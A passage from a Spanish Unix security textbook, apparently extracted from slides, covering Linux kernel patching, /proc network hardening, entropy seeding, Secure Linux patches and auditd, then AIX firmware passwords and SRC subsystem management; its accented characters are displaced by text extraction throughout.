- 187. 10.5. EL SUBSISTEMA DE RED 169 primero, de forma manual). En cuanto al kernel de Linux y su actualizaci´n, como antes hemos comentado, si lo que quer- o emos es actualizar o parchear el n´cleo del sistema operativo la forma de hacerlo ya no es tan u dependiente de la versi´n de Linux utilizada. Para actualizar la versi´n del kernel tenemos dos op- o o ciones: o descargamos el c´digo fuente de la nueva versi´n, de forma completamente independiente o o de la que tengamos en estos momentos, o descargamos un parche que al ser aplicado nos modificar´ a el c´digo instalado ya en nuestro sistema para convertirlo en la nueva versi´n; en ambos casos o o debemos compilar y arrancar con la imagen generada si queremos que el sistema quede actualizado. Si hemos descargado un nuevo kernel completo (generalmente un fichero .tar.gz) no tenemos m´s que descomprimirlo, desempaquetarlo y compilarlo para generar una nueva imagen con el nue- a vo n´cleo; evidentemente no vamos a entrar ahora en como configurar o compilar el kernel de Linux: u para eso hay excelentes documentos disponibles en la red. M´s interesante es la aplicaci´n de parches al c´digo fuente, bien para incrementar la versi´n a o o o del n´cleo, como ya hemos dicho, o bien para aplicar una modificaci´n ‘no oficial’ distribuida co- u o mo parche; en este ultimo caso – cada vez menos utilizado, debido al desarrollo de los m´dulos ´ o cargables en tiempo de ejecuci´n – hemos de tener cuidado, ya que al aplicar un parche no oficial o es muy probable que si posteriormente deseamos incrementar la versi´n de nuestro kernel tambi´n o e mediante parcheado del c´digo, este ultimo no funcione correctamente. o ´ Lo m´s habitual es que cualquier parche para el c´digo fuente del n´cleo, tanto oficial como ‘no a o u oficial’, se distribuya como un simple fichero de texto (en muchos casos comprimido con gzip) que contiene las diferencias entre el c´digo actual y el modificado, generadas con diff; podemos o verificarlo simplemente echando un vistazo al fichero que acabamos de descargar: luisa:/usr/src# gzip -dc patch-2.2.14.gz|head -4 diff -u --recursive --new-file v2.2.13/linux/CREDITS linux/CREDITS --- v2.2.13/linux/CREDITS Tue Jan 4 11:24:09 2000 +++ linux/CREDITS Tue Jan 4 10:12:10 2000 @@ -137,12 +137,9 @@ luisa:/usr/src# Si este es nuestro caso, para aplicar el parche no tenemos m´s que utilizar la orden ‘patch’: a luisa:/usr/src# gzip -dc patch-2.2.14.gz | /usr/bin/patch -p0 Si el proceso ha sido correcto, el c´digo fuente que en nuestro ejemplo antes correspond´ al n´cleo o ıa u 2.2.13 ahora corresponde al 2.2.14; como antes, no tenemos m´s que recompilar ese c´digo y arrancar a o con la imagen generada para que nuestro kernel sea el nuevo: luisa:~# uname -a Linux luisa 2.2.14 #9 Sat Dec 30 03:34:32 CET 2000 i686 unknown luisa:~# 10.5 El subsistema de red Lamentablemente en Linux no existe una orden similar a ndd en Solaris o a no en AIX, que como hemos visto o veremos m´s adelante se utilizan para configurar en tiempo de ejecuci´n, y de una a o forma sencilla, par´metros del operativo relativos al subsistema de red. En este caso necesitamos a recurrir, en la mayor´ de ocasiones, a escribir directamente en ficheros del directorio /proc/, un ıa sistema de archivos ‘virtual’ que en Linux y otros entornos Unix act´a como interfaz ente el espacio u de usuario y el n´cleo. u Con relaci´n a la tabla arp y sus timeouts (como ya dijimos al hablar de Solaris, importantes o en nuestra seguridad para prevenir cierto tipo de ataques), su funcionamiento en Linux es quiz´s a algo engorroso: en los directorios /proc/sys/net/ipv4/neigh/∗/ tenemos ciertos ficheros que indi- can par´metros de configuraci´n de arp; uno de ellos, gc stale time, define el tiempo (60 segundos a o
- 188. 170 CAP´ ITULO 10. LINUX por defecto) que una entrada de la tabla arp se considera ‘viva’. Cuando este timeout ha vencido para cierta entrada, entra en juego el par´metro gc interval, que marca la frecuencia de actuaci´n a o del recolector de basura (garbage collector) en el sistema; este, que se ejecuta cada 30 segundos, es realmente el encargado de eliminar las entradas ‘caducadas’ de nuestra tabla. Respecto al protocolo icmp, una buena idea – como en cualquier Unix – es ignorar las peticiones icmp echo dirigidas a direcciones de broadcast; esto lo conseguimos escribiendo un valor diferente de 0 en el archivo /proc/sys/net/ipv4/icmp echo ignore broadcasts. Si no nos conformamos con esto, y queremos ignorar todas las peticiones icmp echo, no tenemos m´s que hacer lo mismo a en el archivo /proc/sys/net/ipv4/icmp echo ignore all. La gesti´n de tramas icmp redirect tambi´n puede presentar ciertos riesgos para nuestra se- o e guridad. Si en /proc/sys/net/ipv4/conf/*/accept redirects indicamos un valor diferente de 0 estamos dici´ndole al n´cleo de Linux que haga caso de este tipo de paquetes que en principio nos e u puede enviar un enrutador; su valor por defecto (0, desactivado) es el correcto. An´logamente, en a /proc/sys/net/ipv4/conf/*/send redirects permitimos la emisi´n de estas tramas desde nues- o tra m´quina escribiendo un valor diferente de 0; como s´lo un router deber´ enviar estos paquetes, a o ıa la opci´n m´s segura es especificar un 0 para este par´metro (su valor por defecto es 1). Una opci´n o a a o intermedia entre bloquear todas las tramas icmp redirect y permitirlas puede ser el escribir en el archivo secure redirects un valor diferente de 0, logrando que se acepten este tipo de paquetes pero s´lo desde la lista de gateways v´lidos definida en /etc/gateways. o a Pasando ya a hablar del protocolo ip, uno de los par´metros que m´s nos va a interesar es la a a habilitaci´n o deshabilitaci´n del IP Forwarding en el n´cleo de Linux; como hemos dicho antes, el o o u sistema de filtrado de paquetes s´lo funciona cuando esta opci´n est´ habilitada, lo que se consigue o o a con la orden luisa:~# echo 1 > /proc/sys/net/ipv4/ip_forward luisa:~# Sin embargo, si no utilizamos las facilidades de firewalling del n´cleo de Linux esta opci´n ha de u o estar desabilitada (introducir´ ıamos un ‘0’ en lugar de un ‘1’ en el fichero anterior), ya que de lo contrario corremos el peligro de que nuestra m´quina se convierta en un router. a Antes hemos hablado de las ‘SYN Cookies’, y hemos comentado que aunque el soporte para esta caracter´ ıstica se introduce al compilar el n´cleo, realmente el mecanismo se ha de activar desde u espacio de usuario, por ejemplo con una orden como la siguiente: luisa:~# echo 1 >/proc/sys/net/ipv4/tcp_syncookies luisa:~# Tambi´n es muy recomendable que el subsistema de red del kernel descarte las tramas con Source e Routing o encaminamiento en origen activado. Este tipo de paquetes contienen el camino que han de seguir hasta su destino, de forma que los routers por los que pasa no han de examinar su con- tenido sino simplemente reenviarlo, hecho que puede causar la llegada de datos que constituyan una amenaza a nuestras pol´ıticas de seguridad. En los n´cleos 2.0 esto se consegu´ activando la opci´n u ıa o config ip nosr a la hora de compilar el kernel, mientras que en los 2.2 la forma m´s sencilla de a ignorar estos paquetes es introduciendo un ‘0’ en los diferentes ficheros accept source route del directorio /proc/sys/net/ipv4/; por ejemplo la siguiente orden descarta las tramas con encami- namiento en origen que llegan al dispositivo de red eth0: luisa:~# echo 0 >/proc/sys/net/ipv4/conf/eth0/accept_source_route luisa:~# Hemos de recordar que las modificaciones que hacemos sobre el interfaz sysctl son din´micas: se a pueden efectuar con el sistema funcionando, sin necesidad de reiniciarlo, pero se pierden cuando la m´quina se apaga para establecerse a unos valores por defecto al arrancar de nuevo el sistema a operativo; seguramente nos interesar´ mantener los cambios realizados, por lo que en alguno de a los ficheros de inicializaci´n de la m´quina hemos de incluir las ´rdenes que acabamos de explicar, o a o obviamente despu´s de haber montado el sistema de ficheros /proc/. e
- 189. ´ 10.6. EL NUCLEO DE LINUX 171 10.6 El n´ cleo de Linux u 10.6.1 Opciones de compilaci´n o A la hora de recompilar un nuevo n´cleo de Linux hemos de tener en cuenta algunas opciones dentro u del grupo ‘Networking Options’ que pueden afectar a la seguridad de nuestra m´quina (algunos a de estos aspectos, para n´cleos 2.0, pueden encontrarse en [Wre98]). Sin embargo, antes de entrar u en detalles con opciones concretas, es muy conveniente que introduzcamos soporte para sistemas de ficheros proc en ‘Filesystems’ (config proc fs) y activemos el interfaz sysctl en ‘General Setup’ (config sysctl); con estos pasos habilitamos la capacidad de Linux para modificar ciertos par´metros del n´cleo (en /proc/sys/) sin necesidad de reiniciar el sistema o recompilar el kernel. a u Pasando ya a comentar algunas opciones que nos ofrece Linux, es bastante interesante para la seguridad configurar nuestro sistema como un cortafuegos a la hora de compilar el n´cleo (con- u fig ip firewall). Linux ofrece en su kernel facilidades para definir un firewall de paquetes en el sistema, que adem´s permitir´ el IP-Masquerading. Para que el subsistema de filtrado funcione es a a necesario que el IP-Forwarding est´ activado de la forma que m´s tarde veremos. e a Otra opci´n que nos puede ayudar a incrementar la seguridad de nuestro equipo es la defrag- o mentaci´n de paquetes (config ip always defrag) que llegan a trav´s de la red. Cuando un o e equipo situado entre el origen y el destino de los datos decide que los paquetes a enviar son de- masiado grandes, los divide en fragmentos de longitud menor; sin embargo, los n´meros de puerto u s´lamente viajan en el primer fragmento, lo que implica que un atacante puede insertar informa- o ci´n en el resto de tramas que en teor´ no debe viajar en ellas. Activando esta opci´n, en nuestra o ıa o m´quina estos fragmentos se reagrupar´n de nuevo incluso si van a ser reenviados a otro host. a a Siguiendo con las diferentes opciones del subsistema de red, podemos habilitar el soporte para ‘SYN Cookies’ (config syn cookies) en el n´cleo que estamos configurando. Una red TCP/IP u habitual no puede soportar un ataque de negaci´n de servicio conocido como ‘SYN Flooding’, con- o sistente b´sicamente en enviar una gran cantidad de tramas con el bit SYN activado para as´ saturar a ı los recursos de una m´quina determinada hasta que los usuarios no pueden ni siquiera conectar a a ella. Las ‘SYN Cookies’ proporcionan cierta protecci´n contra este tipo de ataques, ya que la pila o TCP/IP utiliza un protocolo criptogr´fico para permitir que un usuario leg´ a ıtimo pueda seguir acce- diendo al sistema incluso si este est´ siendo atacado. Aunque configuremos y ejecutemos un n´cleo a u con esta opci´n soportada, hemos de activar las ‘SYN Cookies’ cada vez que el sistema arranca o (como veremos luego), ya que por defecto est´n deshabilitadas. a En ciertas situaciones es interesante analizar en espacio de usuario – es decir, sin sobrecargar al n´cleo m´s de lo estrictamente necesario – un paquete o parte de ´l (t´ u a e ıpicamente, los 128 primeros bytes) que llega a trav´s de la red hasta nuestra m´quina; de esta forma, un analizador sim- e a ple puede tomar ciertas decisiones en funci´n del contenido del paquete recibido, como enviar o un correo al administrador en caso de sospecha o grabar un mensaje mediante syslog. Justa- mente esto es lo que conseguimos si habilitamos la opci´n Firewall Packet Netlink Device (con- o fig ip firewall netlink). Hasta ahora hemos hablado de la posibilidad que tiene Linux para modificar par´metros del n´cleo a u sin necesidad de recompilarlo o de reiniciar el equipo, mediante el interfaz sysctl; esto implica por ejemplo que podemos modificar el comportamiento del subsistema de red simplemente modificando determinados ficheros de /proc/sys/ (recordemos que el sistema de ficheros /proc/ de algunos Unix es una interfaz entre estructuras de datos del n´cleo y el espacio de usuario). Veremos en el u punto 10.5 algunos de estos par´metros configurables que tienen mucho que ver con la seguridad a Linux, en especial con el subsistema de red. 10.6.2 Dispositivos Linux (no as´ otros Unices) proporciona dos dispositivos virtuales denominados /dev/random y ı /dev/urandom que pueden utilizarse para generar n´meros pseudoaleatorios, necesarios para apli- u
- 190. 172 CAP´ ITULO 10. LINUX caciones criptogr´ficas. El primero de estos ficheros, /dev/random, utiliza lo que su autor denomina a ‘ruido ambiental’ (por ejemplo, temporizadores de IRQs, accesos a disco o tiempos entre pulsaciones de teclas) para crear una fuente de entrop´ aceptable y – muy importante – que apenas introduce ıa sobrecarga en el sistema. El segundo archivo, /dev/urandom, crea un resumen de la entrop´ de ıa /dev/random utilizando la funci´n hash SHA (Secure Hash Algorithm), dise˜ada por el NIST y o n la NSA para su Digital Signature Standard ([oST84]). Por tanto, tenemos una fuente de entrop´ ıa aceptable, /dev/urandom, y otra incluso mejor, pero de capacidad limitada, /dev/random. Para detalles concretos sobre su funcionamiento se puede consultar el fichero que las implementa dentro del n´cleo de Linux, drivers/char/random.c. u Como en el propio c´digo se explica, cuando un sistema operativo arranca ejecuta una serie de o acciones que pueden ser predecidas con mucha facilidad por un potencial atacante (especialmente si en el arranque no interactua ninguna persona, como es el caso habitual en Unix). Para mantener el nivel de entrop´ en el sistema se puede almacenar el desorden que exist´ en la parada de la ıa ıa m´quina para restaurarlo en el arranque; esto se consigue modificando los scripts de inicializaci´n a o del sistema. En el fichero apropiado que se ejecute al arrancar (por ejemplo, /etc/rc.d/rc.M) debemos a˜adir las siguientes l´ n ıneas: echo "Initializing random number generator..." random_seed=/var/run/random-seed # Carry a random seed from start-up to start-up # Load and then save 512 bytes, which is the size of the entropy pool if [ -f $random_seed ]; then cat $random_seed >/dev/urandom fi dd if=/dev/urandom of=$random_seed count=1 chmod 600 $random_seed Mientras que en un fichero que se ejecute al parar el sistema a˜adiremos lo siguiente: n # Carry a random seed from shut-down to start-up # Save 512 bytes, which is the size of the entropy pool echo "Saving random seed..." random_seed=/var/run/random-seed dd if=/dev/urandom of=$random_seed count=1 chmod 600 $random_seed Con estas peque˜as modificaciones de los archivos de arranque y parada del sistema conseguimos n mantener un nivel de entrop´ aceptable durante todo el tiempo que el sistema permanezca encendi- ıa do. Si de todas formas no consideramos suficiente la entrop´ proporcionada por estos dispositivos ıa de Linux, podemos conseguir otra excelente fuente de desorden en el mismo sistema operativo a partir de una simple tarjeta de sonido y unas modificaciones en el n´cleo ([Men98]), o utilizar alguno u de los generadores – algo m´s complejos – citados en [Sch94]. a 10.6.3 Algunas mejoras de la seguridad En esta secci´n vamos a comentar algunos aspectos de modificaciones del n´cleo que se distribuyen o u libremente en forma de parches, y que contribuyen a aumentar la seguridad de un sistema Linux; para obtener referencias actualizadas de estos c´digos – y otros no comentados aqu´ – es recomen- o ı dable consultar [Sei99]; para informaci´n de estructuras de datos, ficheros o l´ o ımites del n´cleo de u Linux se puede consultar [BBD+ 96] o [CDM97]. L´ ımites del n´ cleo u En include/asm/resource.h tenemos la inicializaci´n de algunas estructuras de datos del n´cleo o u relacionadas con l´ ımites a la cantidad de recursos consumida por un determinado proceso; por ejemplo, el m´ximo n´mero de procesos por usuario (rlimit nproc) se inicializa a a u max tasks per user, valor que en include/linux/tasks.h podemos comprobar que se corre- sponde con la mitad de nr tasks (n´mero m´ximo de procesos en el sistema); en arquitecturas u a
- 191. ´ 10.6. EL NUCLEO DE LINUX 173 i86 el valor del l´ ımite de procesos por usuario se fija a 256. De la misma forma, el n´mero m´ximo u a de ficheros abiertos por un proceso (rlimit nofile) se inicializa al valor nr open, que en el archivo include/asm/limits.h se define como 1024. Estos l´ ımites se pueden consultar desde espacio de usuario con la llamada getrlimit(); esta fun- ci´n utiliza una estructura de datos rlimit, definida en include/linux/resource.h, que contiene o dos datos enteros para representar lo que se conoce como l´ ımite soft o blando y l´ ımite hard o duro. El l´ ımite blando de un recurso puede ser modificado por cualquier proceso sin privilegios que llame a setrlimit(), ya sea para aumentar o para disminuir su valor; por el contrario, el l´ ımite hard define un valor m´ximo para la utilizaci´n de un recurso, y s´lo puede ser sobrepasado por procesos a o o que se ejecuten con privilegios de administrador. En el fichero include/linux/nfs.h podemos definir el puerto m´ximo que los clientes nfs pueden a utilizar (nfs port); si le asignamos un valor inferior a 1024 (puertos privilegiados), s´lo el admin- o istrador de otro sistema Unix podr´ utilizar nuestros servicios nfs, de forma similar a la variable a nfs portmon de algunos Unices. Para cambiar los l´ ımites de los par´metros vistos aqu´ la soluci´n m´s r´pida pasa por modi- a ı o a a ficar los ficheros de cabecera del kernel, recompilarlo y arrancar la m´quina con el nuevo n´cleo; sin a u embargo, a continuaci´n vamos a hablar brevemente de Fork Bomb Defuser, un m´dulo que per- o o mite al administrador modificar algunos de estos par´metros sin reiniciar el sistema. M´s adelante a a hablaremos tambi´n de los l´ e ımites a recursos ofrecidos por pam (Pluggable Authentication Modules), un sistema de autenticaci´n incorporado en la actualidad a la mayor´ de Linux, as´ como en otros o ıa ı Unices. Fork Bomb Defuser El kernel de Linux no permite por defecto limitar el n´mero m´ximo de usuarios y el n´mero u a u m´ximo de procesos por usuario que se pueden ejecutar en el sistema sin tener que modificar el a c´digo del n´cleo; si no queremos modificarlo, casi no hay m´s remedio que utilizar un poco de o u a programaci´n (unos simples shellscripts suelen ser suficientes) y las herramientas de planificaci´n o o de tareas para evitar que un usuario lance demasiados procesos o que conecte cuando el sistema ya ha sobrepasado un cierto umbral de usuarios conectados a ´l. e Mediante el m´dulo Fork Bomb Defuser se permite al administrador controlar todos estos pa- o r´metros del sistema operativo, incrementando de forma flexible la seguridad de la m´quina. El a a c´digo est´ disponible en http://rexgrep.tripod.com/rexfbdmain.htm. o a Secure Linux Por Secure Linux se conoce a una colecci´n de parches para el n´cleo de Linux programados por o u Solar Designer, uno de los hackers m´s reconocidos a nivel mundial en la actualidad (entendiendo a hacker en el buen – y unico – sentido de la palabra). Este software, disponible libremente desde ´ http://www.false.com/security/linux/2 , incrementa la seguridad que el n´cleo proporciona por u defecto, ofreciendo cuatro importantes diferencias con respecto a un kernel normal: ´ • Area de pila no ejecutable En un sistema con el ´rea de la pila no ejecutable los ataques de buffer overflow son m´s a a dif´ ıciles de realizar que en los sistemas habituales, ya que muchos de estos ataques se basan en sobreescribir la direcci´n de retorno de una funci´n en la pila para que apunte a c´digo o o o malicioso, tambi´n depositado en la pila. Aunque Secure Linux no es una soluci´n completa, s´ e o ı que a˜ade un nivel extra de seguridad en este sentido, haciendo que un atacante que pretenda n utilizar un buffer overflow contra nuestro sistema tenga que utilizar c´digo m´s complicado o a para hacerlo. 2 Esta URL ya no existe, ahora los trabajos de Solar Designer se encuentran en http://www.openwall.com/; gracias, David :).
- 192. 174 CAP´ ITULO 10. LINUX • Enlaces restringidos en /tmp Con esta caracter´ ıstica, Secure Linux intenta que los usuarios sin privilegios puedan crear enlaces en /tmp/ sobre ficheros que no les pertenecen, eliminando as´ ciertos problemas de ı seguridad que afectan a algunos sistemas Linux, relacionados principalmente con condiciones de carrera en el acceso a ficheros. • Tuber´ restringidas en /tmp ıas Esta opci´n no permite a los usuarios escribir en tuber´ (fifos) que no le pertenezcan a ´l o o ıas e al root en directorios con el bit de permanencia activo, como /tmp. De esta forma se evitan ciertos ataques de Data Spoofing. • /proc restringido Esta es quiz´s la caracter´ a ıstica m´s util de este parche, aparte de la m´s visible para el usuario a ´ a normal. Permite que los usuarios no tengan un acceso completo al directorio /proc/ (que recordemos permite un acceso a estructuras de datos del n´cleo, como la tabla de procesos, u desde el espacio de usuario) a no ser que se encuentren en un determinado grupo con el nivel de privilegio suficiente. De esta forma se consigue un aumento espectacular en la privacidad del sistema, ya que por ejemplo los usuarios s´lo podr´n ver sus procesos al ejecutar un ps o a aux, y tampoco tendr´n acceso al estado de las conexiones de red v´ netstat; as´ ´rdenes a ıa ı, o como ps o top s´lo muestran informaci´n relativa a los procesos de qui´n las ejecuta, a no o o e ser que esta persona sea el administrador o un usuario perteneciente al grupo 0. Auditd El demonio auditd permite al administrador de un sistema Linux recibir la informaci´n de auditor´ o ıa de seguridad que el n´cleo genera, a trav´s del fichero /proc/audit, filtrarla y almacenarla en u e ficheros. Esta informaci´n tiene el siguiente formato: o AUDIT CONNECT pid ruid shost sport dhost dport Conexi´n desde la m´quina al host remoto dhost. o a AUDIT ACCEPT pid ruid shost sport dhost dport Conexi´n desde el host remoto dhost a la m´quina. o a AUDIT LISTEN pid ruid shost sport El puerto indicado est´ esperando peticiones de servicio. a AUDIT OPEN pid ruid file Se ha abierto el fichero file. AUDIT SETUID pid old ruid ruid euid Se ha llamado con ´xito a setuid(), modificando el UID de ruid a euid. e AUDIT EXEC pid ruid file Se ha ejecutado el fichero file. AUDIT MODINIT pid ruid file Se ha insertado en el kernel el m´dulo file. o Al leer la informaci´n de /proc/audit, el demonio auditd lee las reglas de filtrado del fichero o /etc/security/audit.conf, comparando los flags, pid y ruid (Real User IDentifier) recibidos con cada una de las reglas del archivo de configuraci´n hasta encontrar la apropiada para tratar el o evento. Una vez que el demonio auditd ha encontrado el fichero donde almacenar la informaci´n o recibida, la guarda en ´l con un formato legible. e
- 193. Cap´ ıtulo 11 AIX 11.1 Introducci´n o AIX (Advanced Interactive eXecutive) es la versi´n de Unix desarrollada y mantenida desde hace o m´s de diez a˜os por IBM; sus or´ a n ıgenes provienen de IBM RT System, de finales de los ochenta, y se ejecuta en las plataformas RS/6000, basadas en chips risc PowerPC similares al utilizados por algunos Macintosh m´s o menos modernos. Este operativo, mezcla de bsd y System V (se suele de- a cir que no es ni uno ni otro) es el que m´s caracter´ a ısticas propietarias incorpora, caracter´ ısticas que no se encuentran en ninguna otra versi´n de Unix, por lo que a cualquier administrador le costar´ o a m´s adaptarse a AIX que a otros Unices. No obstante, en favor de IBM hay que decir que dispone a de un excelente asistente para realizar todo tipo de tareas denominado smit (System Management Interface Tool, tambi´n ejecutado como smitty en modo consola): aunque por supuesto cualquier e tarea tambi´n se puede ejecutar desde la l´ e ınea de comandos, esto generalmente no se hace con las o ´rdenes habituales de Unix, por lo que smit es una herramienta indispensable para el administrador de la m´quina. AIX, a pesar de que en un principio pueda parecer el Unix m´s arcaico – y nadie a a niega que lo sea – es un entorno de trabajo fiable y sobre todo extremadamente estable, e incluso incorpora caracter´ısticas (tanto de seguridad como de otros aspectos) que ya quisieran para s´ otros ı sistemas Unix. El hecho de que muchas tareas no se realicen en AIX de la misma forma en que se llevan a cabo en el resto de Unices es en parte debido al odm (Object Data Manager); a diferencia de Solaris o Linux, en AIX debemos tener presente en todo momento que vi no es una herramienta para administrar el sistema, ya que los cl´sicos ficheros de configuraci´n ASCII han sido sustituidos por archivos a o binarios, bases de datos que mantienen la configuraci´n del sistema (aspectos como los dispositivos, o los recursos del entorno, o el subsistema de comunicaciones de AIX) de forma m´s robusta, segura a y portable que los simples ficheros de texto, al menos en opini´n de los desarrolladores de IBM o ([V+ 00]). IBM mantiene en Internet un excelente repositorio de documentaci´n, principalmente los de- o nominados RedBooks, completos manuales sobre casi cualquier tema relacionado con AIX – y otros productos de la compa˜´ – que podamos imaginar. Est´n disponibles en la direcci´n nıa a o http://www.redbooks.ibm.com/, y algunos de ellos son una herramienta imprescindible para cualquier administrador de sistemas. Por supuesto, tambi´n es muy recomendable instalar las e p´ginas del manual on–line de AIX, algo que incomprensiblemente no se hace por defecto en una a instalaci´n est´ndar, y utilizar smit para ejecutar cualquier tarea que desde l´ o a ınea de ´rdenes dude- o mos de c´mo hacer. o En este cap´ıtulo hablaremos de aspectos de la seguridad casi exclusivos de AIX; al ser este sistema probablemente el Unix m´s cerrado de todos, lo que veamos aqu´ dif´ a ı ıcilmente ser´ extrapolable – a en la mayor´ de casos – a otros entornos como Solaris o HP–UX. En cualquier caso, es necesario ıa para un administrador conocer los aspectos de AIX que le confieren su enorme robustez, tanto en lo referente a seguridad como en cualquier otra faceta gen´rica del sistema. e
- 194. 176 CAP´ ITULO 11. AIX 11.2 Seguridad f´ ısica en RS/6000 El firmware de los sistemas RS/6000 provee de tres modos de protecci´n f´ o ısica ([IBM00a]), en cier- ta forma similares a las que ofrecen las estaciones sparc que comentamos al hablar de Solaris. El primero de ellos, denominado pop (Power–On Password) es el equivalente al modo ‘full-secure’ de sparc, y como ´ste impide el arranque del sistema si antes no se ha introducido la contrase˜a de- e n terminada como pop; por supuesto, esto evita tareas como la planificaci´n de reinicios autom´ticos, o a por lo que en muchas ocasiones no compensa el nivel de seguridad con el de funcionalidad. Por eso existe un segundo modo de protecci´n denominado Unattended start mode que permite arrancar al o sistema de su dispositivo por defecto sin necesidad de que un operador teclee la contrase˜a pop n para ello. En el modo ‘desatendido’ el sistema arranca con normalidad desde el dispositivo especificado por defecto sin necesidad de ninguna clave pop (a pesar de que esta contrase˜a tenga que haber sido n definida con anterioridad); el sistema arranca, pero la diferencia con el modo normal es que el con- trolador de teclado permanece bloqueado hasta el el password pop es introducido. De esta forma se consigue que la m´quina proporcione todos sus servicios (el arranque es completo) pero que, a si alguien quiere acceder a la misma desde consola, est´ obligado a introducir la contrase˜a pop e n previamente definida. Aparte del password pop, en las m´quinas RS/6000 puede establecerse una segunda contrase˜a a n denominada pap (Privileged Access Password) o Supervisory Password, que protege el arranque del sms (System Management Services), un firmware que proporciona al administrador de la m´quina a ciertas utilidades de configuraci´n de bajo nivel; el sms es accesible en un determinado punto de o la secuencia de arranque de la m´quina, en concreto cuando el display marca ‘ff1’ y se pulsa una a cierta tecla (generalmente ‘1’ en terminales de texto o ‘f1’ en terminales gr´ficas), y desde sus a men´s se puede actualizar el propio firmware o cambiar el dispositivo de arranque, por poner s´lo u o un par de ejemplos. Si la contrase˜a pap est´ habilitada se restringe el acceso al sms, evitando n a que un atacante con acceso f´ ısico al equipo puede modificar par´metros de la m´quina vitales para a a nuestra seguridad. Es importante establecer un password para proteger el sms: si un pirata consigue acceso al mismo, ni tan siquiera importar´ si hemos definido o no una contrase˜a pop, ya que podr´ deshabilitarla a n a o incluso cambiarla desde el sms; el problema surge si la clave de nuestro firmware se pierde, ya que en ese caso necesitar´ ıamos abrir el equipo y quitarle su bater´ perdiendo en este caso toda la ıa, configuraci´n almacenada en la nvram. o Desde la l´ınea de ´rdenes de un sistema AIX podemos ejecutar ciertos mandatos que nos van a o permitir tanto visualizar el valor de par´metros del firmware como modificar dicho valor; lamentable- a mente no tenemos un interfaz tan uniforme como en Solaris, donde a trav´s de la orden eeprom e leemos y modificamos la informaci´n de la nvram, sino que en AIX tenemos que utilizar diferentes o o ´rdenes para interactuar con el firmware de la m´quina. Por ejemplo, mediante un comando como a bootlist podemos consultar y modificar la lista de dispositivos de arranque del sistema, y mediante lscfg obtener la versi´n del firmware instalado en la m´quina: o a bruja:/# bootlist -m normal -o hdisk0 fd0 cd0 ent2 bruja:/# 11.3 Servicios de red Como en el resto de entornos Unix, en AIX es vital garantizar la seguridad de los servicios de red de la m´quina para conseguir un entorno de trabajo fiable en su globalidad; no obstante, este a operativo provee de una serie de herramientas que otros sistemas no proporcionan y que facilitan
- 195. 11.3. SERVICIOS DE RED 177 enormemente el trabajo del administrador: es importante acostumbrarse a su manejo (recordemos que en AIX vi no es una herramienta administrativa) a trav´s de smit y, mucho mejor, desde l´ e ınea de ´rdenes. Por poner un ejemplo, si a un administrador de un entorno Solaris, Linux o HP-UX o le preguntamos c´mo eliminar´ el servicio chargen en una m´quina, la respuesta ser´ siempre o ıa a ıa la misma: editando /etc/inetd.conf, comentando la l´ ınea correspondiente con una almohadilla (‘#’) y reiniciando el demonio inetd envi´ndole la se˜al sighup; si le preguntamos lo mismo al a n root de una m´quina AIX, lo m´s probable (aunque podr´ hacerlo de la forma anterior) es que a a ıa utilice una orden como chsubserver, en un proceso similar al siguiente: bruja:/# grep chargen /etc/inetd.conf chargen stream tcp nowait root internal chargen dgram udp wait root internal bruja:/# chsubserver -d -v chargen -p udp bruja:/# chsubserver -d -v chargen -p tcp bruja:/# grep chargen /etc/inetd.conf #chargen stream tcp nowait root internal #chargen dgram udp wait root internal bruja:/# refresh -s inetd bruja:/# En AIX los subsistemas de red son gestionados por el Controlador de Recursos del Sistema (src, System Resource Controller), un software que proporciona comandos e interfaces uniformes para crear y controlar subsistemas ([IBM97c]), que no son m´s que programas o procesos (o combi- a naciones de los mismos) capaces de operar de forma independiente o a trav´s de un controlador, e algo que es m´s o menos equivalente a lo que todos conocemos como ‘demonio’ en cualquier Unix; a podemos ejecutar la orden ‘lssrc -a’ para listar los subsistemas de nuestra m´quina AIX: a bruja:/# lssrc -a Subsystem Group PID Status portmap portmap 5684 active inetd tcpip 7770 active xntpd tcpip 6352 active automountd autofs 6056 active hats hats 9876 active hags hags 8494 active hagsglsm hags 9370 active haem haem 6694 active haemaixos haem 10662 active pman pman 11372 active pmanrm pman 12130 active sysctld 11174 active snmpd tcpip 15520 active sendmail mail 16628 active dpid2 tcpip 16106 active fs 19612 active biod nfs 19874 active rpc.statd nfs 20644 active qdaemon spooler 15750 active writesrv spooler 19366 active clstrmgr cluster 32706 active clsmuxpd cluster 42048 active nfsd nfs 31168 active rpc.mountd nfs 42904 active rpc.lockd nfs 32004 active tftpd tcpip 7586 active syslogd ras 31852 active lpd spooler inoperative clvmd inoperative
- 196. 178 CAP´ ITULO 11. AIX SISTEMA (bruja) ? GRUPOS DE SUBSISTEMAS (tcpip) ? SUBSISTEMAS (inetd) ? SUBSERVIDORES (telnetd, ftpd...) Figura 11.1: Estructura jer´rquica del src. a gated tcpip inoperative named tcpip inoperative routed tcpip inoperative rwhod tcpip inoperative iptrace tcpip inoperative timed tcpip inoperative dhcpcd tcpip inoperative dhcpsd tcpip inoperative dhcprd tcpip inoperative ndpd-host tcpip inoperative ndpd-router tcpip inoperative llbd iforncs inoperative glbd iforncs inoperative i4lmd iforls inoperative i4glbcd iforncs inoperative i4gdb iforls inoperative i4llmd iforls inoperative mrouted tcpip inoperative rsvpd qos inoperative policyd qos inoperative pxed tcpip inoperative binld tcpip inoperative dtsrc inoperative bruja:/# Los subsistemas con funciones relacionadas entre s´ forman lo que se denomina grupos de sub- ı sistemas, y adem´s cada subsistema se divide en subservidores (simples programas o procesos), a formando una estructura jer´rquica como la mostrada en la figura 11.1 (figura en la que adem´s se a a muestra un ejemplo – entre par´ntesis – de cada categor´ como podemos ver en ella, un grupo de e ıa); subsistemas es tcpip, que como su nombre ya adelanta es el encargado de la gesti´n de protocolos o tcp/ip, y que incluye a subsistemas tan importantes como inetd o snmpd. Mediante lssrc, con las opciones adecuadas, podemos obtener informaci´n detallada acerca de un subsistema o sub- o servidor; por ejemplo, la siguiente orden nos muestra lo que hemos comentado anteriormente, que el subsistema inetd pertenece al grupo tcpip, y que en este caso concreto tiene cuatro servidores activos (tftp, klogin, kshell y ftp): bruja:/# lssrc -ls inetd Subsystem Group PID Status inetd tcpip 7770 active Debug Not active
